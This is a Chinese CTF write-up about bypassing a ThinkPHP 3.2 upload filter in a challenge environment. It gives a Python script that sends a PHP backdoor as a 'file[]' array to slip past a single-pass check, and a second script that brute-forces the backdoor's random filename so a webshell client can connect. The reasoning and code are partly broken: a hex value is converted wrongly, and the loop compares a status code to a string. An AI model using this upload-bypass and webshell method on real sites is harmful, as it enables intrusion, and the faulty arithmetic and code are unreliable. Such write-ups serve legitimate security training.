思考:在实际应用场景中,常规类的文件上传、CMS类的文件上传、编辑器的上传或者CTF比赛中的文件上传应用场景都有不同的差异;总结下来就是,文件上传不管是发现还是利用上都会根据产生层面而不同,常规类无资料的情况下采用常规思路测试,有资料的情况下直接参考资料进行即可。
注意:该题的过关技巧其实和普通的文件上传漏洞利用其实并不形同,考核的核心其实更多的是对 “ThinkPHP” 的理解以及代码审计。这里我们主要讲解的仍然是思路。[不得不腹诽一下,CTF的考点有的时候真的是千奇百怪让人脑壳疼…]
还是先看一下题目吧。
从代码开头部分的 use Think\Controller;
我们就知道这是一段 "ThinkPHP"框架的代码。
这里我们需要了解的是 “ThinkPHP” URL 的访问模式。
现在我们去搜索 “ThinkPHP3.2版本” 开发手册,找到 URL 模块的相关文档,了解 “ThinkPHP3.2版本” 如何通通过 URL 对应的代码关系请求到访问的文件
从 “ThinkPHP3.2版本” 开发手册中我们了解到 “PATHINFO模式” 是系统的默认 URL 模式,提供了最好的 SEO 支持,系统内部已经做了环境的兼容处理,所以能够支持大多数的主机环境。
PATHINFO地址的前三个参数分别表示模块/控制器/操作。
示例:http://localhost/index.php/home/user/login?var=value
参考上面的 URL 链接
模块 --> home
控制器 --> user
操作方法 --> login
变量 --> var
变量可控参数 --> value
那么我们题目中的模块、控制器、操作呢?
模块 --> home
控制器 --> IndexController
操作方法 --> upload
变量 --> uploadFile
变量可控参数 --> $_FILES['file']
尝试构造一个可访问 操作方法 upload 的URL
https://b2f55cd3-1d7b-449a-963a-557ca9332683.node4.buuoj.cn/index.php/home/index/upload
通过提示,我们得知该 URL 就是一个可以上传 upload 的操作方法,执行上传文件操作的 URL地址。
那么思路就来了,我们可以根据在代码中得到的提示,通过脚本构造一个 FILES 的传输变量去上传文件,同时代码中因为没有构造 upload 的参数是可以进行多文件上传的,再结合验证过滤只过滤了一次的情况,我们可以一次性传输多个文件上模拟提交去绕过它的过滤验证,将我们的后门脚本传上去。
构造POST请求,模拟上传操作的过滤,上传脚本文件。
import requests
url='http://b2f55cd3-1d7b-449a-963a-557ca9332683.node4.buuoj.cn/index.php/home/index/upload'
file1={'file':open('f:\\1.txt','r')}
file2={'file[]':open('f:\\1.php','r')}
r = requests.post(url,files = file1)
print(r.text)
r = requests.post(url,files = file2)
print(r.text)
r = requests.post(url, files = file1)
print(r.text)
# 导入 requests 库
# 设置 url 和 file1、file2 变量
# file1、file2 变量为本地文件,其中 file2 为后门脚本文件
# 模拟 psot 请求过滤文件上传
# 输出上传结果
这里我们看到已经绕过过滤成功上传了后门脚本文件,但是同样发现了问题,就是后门脚本文件上传成功后的并没有返回生成的随机数文件名.
因为我们上传了三个文件,第一个和第三个都有返回随机数文件名[后门脚本没有返回的原因是因为过滤的函数造成的,不需要太多的纠结]。我们可以通过观察第一和第三个文件的随机文件名发现一定的规律。见下图
我们发现文件名的前八位数是相同的,而后面的五位数则不同 分别是 18255、3c212。
在 16进制 当中 a=10、b=11、c=12,那么我们可以确定的是 3c212其实就是 42212。
这说明我们上传的后门脚本文件前八位也是另外两个文件相同,而后五位数则是在 18255-42212之间,这样我们就可以构建请求包不停的去请求,当某个请求相应的状态为 200 时,则说明该状态下的文件就是我们上传的后门脚本。
请求脚本如下
import requests
import time
for i in range(18255,42212,1):
url='http://b2f55cd3-1d7b-449a-963a-557ca9332683.node4.buuoj.cn/Public/Uploads/2021-03-14//604e106'
urls=url+str(i)+'.php'
#print(str(i))
code=requests.get(urls).status_code
if code=='200':
break
print(urls+'->'+str(code))
time.sleep(0.2)
# 导入requests、time库
# 设置一个循环 循环1次在 18255 - 42212 之间
# 设置 ulr 链接 拼接访问 18255 - 42212
# 当访问 url 链接的响应状态 为 200 的时候,返回 url 地址与 状态码的拼接
这样就可以得到我们的后门脚本的访问地址了,然后利用菜刀、蚁剑或者其他 shell 链接工具就可以连上后门了。